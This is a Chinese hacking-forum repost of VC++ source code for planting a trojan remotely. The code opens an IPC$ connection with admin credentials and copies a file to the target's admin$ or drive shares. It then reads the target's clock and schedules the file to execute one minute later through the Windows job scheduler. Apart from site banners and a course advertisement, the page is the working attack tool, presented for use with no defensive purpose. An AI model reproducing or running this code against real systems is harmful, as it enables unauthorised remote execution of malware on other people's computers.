您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

VC++多线远程IPC种植木马

2008-4-4 16:31| 投稿: security

摘要: 要实现代码如下///////////////////////////////////////////////////////////////////////////////////// typedef...
要实现代码如下///////////////////////////////////////////////////////////////////////////////////// typedef struct TagHost { CString host; CString user; CString pass; CString filename; CString LocalFilePath; CListBox* list; }IPC; void CShareDlg::OnStart() 启动线程序 {   UpdateData(TRUE);   IPC* ipc = new IPC;   ipc->host = m_host;   ipc->user = m_user;   ipc->pass = m_pass;   ipc->LocalFilePath = m_localfile;   ipc->filename = filename;   ipc->list = &m_list;   AfxBeginThread(ThreadIpcConnect,ipc); } 线程///////////////////////////////////////////////////////////////////////////////////////////////// UINT ThreadIpcConnect(LPVOID lpvoid) {   IPC* ipc;   CListBox* list;   ipc = (IPC*)lpvoid;   CString host;   CString admin;   CString pass;   CString filename;   CString localfilepath;   host = ipc->host ;   pass = ipc->pass;   admin = ipc->user;   localfilepath = ipc->LocalFilePath;   filename =ipc->filename ; list = ipc->list;   BOOL IpcConnect;   LPTIME_OF_DAY_INFO TimeBuf=NULL;   NET_API_STATUS Status;   CString RemoteFilePath,CmdCom("admin$\\"); ///////////////////////////////IPC连接////////////////////////////////////////////////////////////////   NETRESOURCE ns;   TCHAR buf[MAX_PATH];   wsprintf(buf,"\\\\%s\\ipc$",host);   ZeroMemory(&ns,sizeof(ns));   ns.dwScope=RESOURCE_GLOBALNET;   ns.dwType=RESOURCETYPE_ANY;   ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;   ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;   ns.lpLocalName="";   ns.lpRemoteName=buf;   ns.lpProvider=NULL;   ns.lpComment=NULL;   CString hhost = host;   IpcConnect =WNetAddConnection2(&ns,pass,admin,0); ///建立IPC连接   if(IpcConnect)   { //连接成功后 ///////////////////////////连接成功上传文件//////////////////////////////////////////////////////////     RemoteFilePath=("\\\\"+host+"\\admin$\\"+filename);     IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE); //复制文件到admin$(winnt) 如果复制失败,,向其他共享区复制       if(!IpcConnect)         {           RemoteFilePath=("\\\\"+host+"\\C$\\"+filename);           CmdCom="C:\\"+filename;           IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);             if(!IpcConnect)             {                RemoteFilePath=("\\\\"+host+"\\D$\\"+filename);                CmdCom="D:\\"+filename;                IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);            if(!IpcConnect)                   {                      RemoteFilePath=("\\\\"+host+"\\E$\\"+filename);                      CmdCom="E:\\"+filename;                      IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);                      if(!IpcConnect)                        {                         RemoteFilePath ("\\\\"+host+"\\F$\\"+filename);                         CmdCom = "F:\\"+filename;                      IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);                        }                   }               }          } ///////////////////////////得到远程主机时间///////////////////////////////////////////////////////////          if(IpcConnect)          {//获取远程主机时间            Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);             if(Status==NERR_Success)             {//活取时间成功 ///////////////////////////启动目标文件///////////////////////////////////////////////////////////////               DWORD day=1,JobTime;               AT_INFO ai;               day=day*2;               ai.Command=CmdCom.AllocSysString();               ai.DaysOfMonth=day;               ai.DaysOfWeek=0;               ai.Flags=JOB_NONINTERACTIVE;               ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;               Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);               //启动上传的文件,一分钟后启动               if(Status==NERR_Success)               {                 list->AddString(host+"启动成功");               }               else                 list->AddString(host+"启动失败");               }           else             {              list->AddString(host+"获取时间失败");             }          }          else          {           list->AddString(host+"复制文件失败");          }     }     else     list->AddString(host+"连接失败"); return TRUE; }转载请注明出自网络精英联盟bbs.e5b.net,本贴地址:http://bbs.e5b.net/viewthread.php?tid=23924    

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部